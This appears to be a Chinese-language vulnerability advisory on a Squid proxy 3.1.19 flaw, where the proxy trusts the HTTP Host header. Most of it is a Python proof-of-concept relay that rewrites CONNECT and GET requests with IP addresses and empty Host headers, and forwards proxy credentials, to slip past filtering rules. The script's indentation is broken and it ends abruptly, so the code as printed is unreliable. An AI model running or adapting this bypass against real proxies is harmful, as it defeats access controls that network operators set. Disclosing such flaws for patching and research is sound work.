Squid Proxy 'Host' HTTP标头安全限制绕过漏洞

发布日期:2012-04-16
更新日期:2012-04-17

受影响系统:
Squid Web Proxy Cache 3.1.19
描述:
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BUGTRAQ  ID: 53024

Squid是一个高效的Web缓存及代理程序,最初是为Unix平台开发的,现在也被移植到Linux和大多数的Unix类系统中,最新的Squid可以运行在Windows平台下。

Squid Proxy在过滤规则的实现上存在安全漏洞,成功攻击可允许攻击者绕过某些安全限制。

<*来源:Gabriel Menezes Nunes (gab.mnunes@gmail.com)
  *>

测试方法:
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警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Gabriel Menezes Nunes (gab.mnunes@gmail.com)提供了如下测试方法:

import socket,struct,sys,time
from threading import Thread


#The timeOut can be changed if the proxy is slow.
#Tested in GMail, Facebook, Youtube and several blocked sites.
#The proxy get the Host field of the http header and do not verify anything else.
#It trusts on the HTTP Header and it can be modified by the attacker.

timeOut = 0.8
isGet = 0
hostNameG = ""
pacoteGet = ""
port = 8080 #Listening port
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
proxyPort = 8080 # proxy port

def handle(client,globalSock):
   
    client.settimeout(timeOut)
   
    global hostNameG
   

while 1:
       
        dados = ""
        tam = 0
        while 1:
                        try:
                                dados2 = client.recv(1024)
                                tam = tam + len(dados2)
                                dados = dados + dados2
                        except socket.timeout:
                              
                                break


        dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
        if dd != -1:
          dd2 = dados.find(":")
          hostName = dados[dd+8:dd2]
         
          ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
          pacote = dados
          hostHeader = "Host: " + hostName
          pacote = pacote.replace(hostHeader, "Host: ") #changing the host field with a value that is accepted by the proxy
          pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
         
         
         
          dados = pacote
       
        getd = dados.find("GET ")
        getd2 = dados.find("//")
        getd3 = dados.find("/", getd2+2)
        hostName = dados[getd2+2:getd3]
       
       
        if getd != -1:
          globalSock.close()
          globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          globalSock.connect((proxyAddr,proxyPort))
          globalSock.settimeout(timeOut)
          getd2 = dados.find("//")
          getd3 = dados.find("/", getd2+2)
         
          hostName = dados[getd2+2:getd3]
         
          proxyAuth = ""
          proxyAuthN = dados.find("Proxy-Authorization:")
          if proxyAuthN != -1:
            proxyAuthNN = dados.find("\r\n", proxyAuthN)
            proxyAuth = dados[proxyAuthN:proxyAuthNN]
           
           
          ipAddr = socket.gethostbyname(hostName)
         
          info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
          if proxyAuthN != -1:
            info += proxyAuth + "\r\n"
         
          info += "Host: \r\n\r\n"
         
          globalSock.send(info)
          tam = 0
          gdata = ""
         
          while 1:
            try:
               
                gdata2 = globalSock.recv(1024)
               
                tam = tam + len(gdata2)
                gdata = gdata + gdata2
               
                if len(gdata2) == 0:
                    break
               
               
            except socket.timeout:
               
                break
         
       
       
         
       
        globalSock.send(dados)
        tam = 0
        gdata = ""
       
        while 1:
            try:
               
                gdata2 = globalSock.recv(1024)
               
                if len(gdata2) > 0:
                    client.send(gdata2)
               
                tam = tam + len(gdata2)
                gdata = gdata + gdata2
               
                if len(gdata2) == 0:
                    break
               
               
            except socket.timeout:
               
                break
       
       

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